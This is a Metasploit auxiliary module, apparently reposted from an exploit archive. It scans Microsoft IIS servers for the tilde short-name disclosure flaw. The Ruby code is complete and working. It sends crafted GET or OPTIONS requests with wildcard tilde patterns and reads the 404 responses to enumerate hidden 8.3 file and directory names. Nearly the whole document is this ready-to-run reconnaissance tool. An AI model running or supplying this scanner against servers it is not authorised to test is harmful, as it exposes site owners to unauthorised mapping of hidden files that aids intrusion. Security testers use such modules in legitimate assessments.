Share
## https://sploitus.com/exploit?id=PACKETSTORM:181027
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Rex::Proto::Http  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft IIS shortname vulnerability scanner',  
'Description' => %q{  
The vulnerability is caused by a tilde character "~" in a GET or OPTIONS request, which  
could allow remote attackers to disclose 8.3 filenames (short names). In 2010, Soroush Dalili  
and Ali Abbasnejad discovered the original bug (GET request). This was publicly disclosed in  
2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.  
},  
'Author' =>  
[  
'Soroush Dalili', # Vulnerability discovery  
'Ali Abbasnejad', # Vulnerability discovery  
'MinatoTW <shaks19jais[at]gmail.com>', # Metasploit module  
'egre55 <ianaustin[at]protonmail.com>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'https://soroush.secproject.com/blog/tag/iis-tilde-vulnerability/' ],  
[ 'URL', 'https://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability' ]  
]  
)  
)  
  
register_options([  
Opt::RPORT(80),  
OptString.new('PATH', [ true, "The base path to start scanning from", "/" ]),  
OptInt.new('THREADS', [ true, "Number of threads to use", 20])  
])  
@dirs = []  
@files = []  
@threads = []  
@queue = Queue.new  
@queue_ext = Queue.new  
@alpha = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\'()-@^_`{}'  
@charset_names = []  
@charset_extensions = []  
@charset_duplicates = []  
@verb = ""  
@name_size= 6  
@path = ""  
end  
  
def check  
is_vul ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe  
rescue Rex::ConnectionError  
print_bad("Failed to connect to target")  
end  
  
def is_vul  
@path = datastore['PATH']  
for method in ['GET', 'OPTIONS']  
# Check for existing file  
res1 = send_request_cgi({  
'uri' => normalize_uri(@path, '*~1*'),  
'method' => method  
})  
  
# Check for non-existing file  
res2 = send_request_cgi({  
'uri' => normalize_uri(@path,'QYKWO*~1*'),  
'method' => method  
})  
  
if res1 && res1.code == 404 && res2 && res2.code != 404  
@verb = method  
return true  
end  
end  
return false  
rescue Rex::ConnectionError  
print_bad("Failed to connect to target")  
end  
  
def get_status(f , digit , match)  
# Get response code for a file/folder  
res2 = send_request_cgi({  
'uri' => normalize_uri(@path,"#{f}#{match}~#{digit}#{match}"),  
'method' => @verb  
})  
return res2.code  
rescue NoMethodError  
print_error("Unable to connect to #{datastore['RHOST']}")  
end  
  
def get_incomplete_status(url, match, digit , ext)  
# Check if the file/folder name is more than 6 by using wildcards  
res2 = send_request_cgi({  
'uri' => normalize_uri(@path,"#{url}#{match}~#{digit}.#{ext}*"),  
'method' => @verb  
})  
return res2.code  
rescue NoMethodError  
print_error("Unable to connect to #{datastore['RHOST']}")  
end  
  
def get_complete_status(url, digit , ext)  
# Check if the file/folder name is less than 6 and complete  
res2 = send_request_cgi({  
'uri' => normalize_uri(@path,"#{url}*~#{digit}.#{ext}"),  
'method' => @verb  
})  
return res2.code  
rescue NoMethodError  
print_error("Unable to connect to #{datastore['RHOST']}")  
end  
  
def scanner  
while !@queue_ext.empty?  
f = @queue_ext.pop  
url = f.split(':')[0]  
ext = f.split(':')[1]  
# Split string into name and extension and check status  
status = get_incomplete_status(url, "*" , "1" , ext)  
next unless status == 404  
next unless ext.size <= 3  
  
@charset_duplicates.each do |x|  
if get_complete_status(url, x , ext) == 404  
@files << "#{url}*~#{x}.#{ext}*"  
end  
end  
  
if ext.size < 3  
for c in @charset_extensions  
@queue_ext << (f + c )  
end  
end  
end  
end  
  
def scan  
while !@queue.empty?  
url = @queue.pop  
status = get_status(url , "1" , "*")  
# Check strings only upto 6 chars in length  
next unless status == 404  
if url.size == @name_size  
@charset_duplicates.each do |x|  
if get_status(url , x , "") == 404  
@dirs << "#{url}*~#{x}"  
end  
end  
# If a url exists then add to new queue for extension scan  
for ext in @charset_extensions  
@queue_ext << ( url + ':' + ext )  
@threads << framework.threads.spawn("scanner", false) { scanner }  
end  
else  
@charset_duplicates.each do |x|  
if get_complete_status(url, x , "") == 404  
@dirs << "#{url}*~#{x}"  
break  
end  
end  
if get_incomplete_status(url, "" , "1" , "") == 404  
for ext in @charset_extensions  
@queue_ext << ( url + ':' + ext )  
@threads << framework.threads.spawn("scanner", false) { scanner }  
end  
elsif url.size < @name_size  
for c in @charset_names  
@queue <<(url +c)  
end  
end  
end  
end  
end  
  
def reduce  
# Reduce the total charset for filenames by checking if a character exists in any of the files  
for c in @alpha.chars  
res = send_request_cgi({  
'uri' => normalize_uri(@path,"*#{c}*~1*"),  
'method' => @verb  
})  
if res && res.code == 404  
@charset_names << c  
end  
end  
end  
  
def ext  
# Reduce the total charset for extensions by checking if a character exists in any of the extensions  
for c in @alpha.chars  
res = send_request_cgi({  
'uri' => normalize_uri(@path,"*~1.*#{c}*"),  
'method' => @verb  
})  
if res && res.code == 404  
@charset_extensions << c  
end  
end  
end  
  
def dup  
# Reduce the total charset for duplicate files/folders  
array = [*('1'..'9')]  
array.each do |c|  
res = send_request_cgi({  
'uri' => normalize_uri(@path,"*~#{c}.*"),  
'method' => @verb  
})  
if res && res.code == 404  
@charset_duplicates << c  
end  
end  
end  
  
def run  
unless is_vul  
print_status("Target is not vulnerable, or no shortname scannable files are present.")  
return  
end  
unless @path.end_with? '/'  
@path += '/'  
end  
print_status("Scanning in progress...")  
@threads << framework.threads.spawn("reduce_names",false) { reduce }  
@threads << framework.threads.spawn("reduce_duplicates",false) { dup }  
@threads << framework.threads.spawn("reduce_extensions",false) { ext }  
@threads.each(&:join)  
  
for c in @charset_names  
@queue << c  
end  
  
datastore['THREADS'].times {  
@threads << framework.threads.spawn("scanner", false) { scan }  
}  
  
Rex.sleep(1) until @queue_ext.empty?  
  
@threads.each(&:join)  
  
proto = datastore['SSL'] ? 'https' : 'http'  
  
if @dirs.empty?  
print_status("No directories were found")  
else  
print_good("Found #{@dirs.size} directories")  
@dirs.each do |x|  
print_good("#{proto}://#{datastore['RHOST']}#{@path}#{x}")  
end  
end  
  
if @files.empty?  
print_status("No files were found")  
else  
print_good("Found #{@files.size} files")  
@files.each do |x|  
print_good("#{proto}://#{datastore['RHOST']}#{@path}#{x}")  
end  
end  
end  
end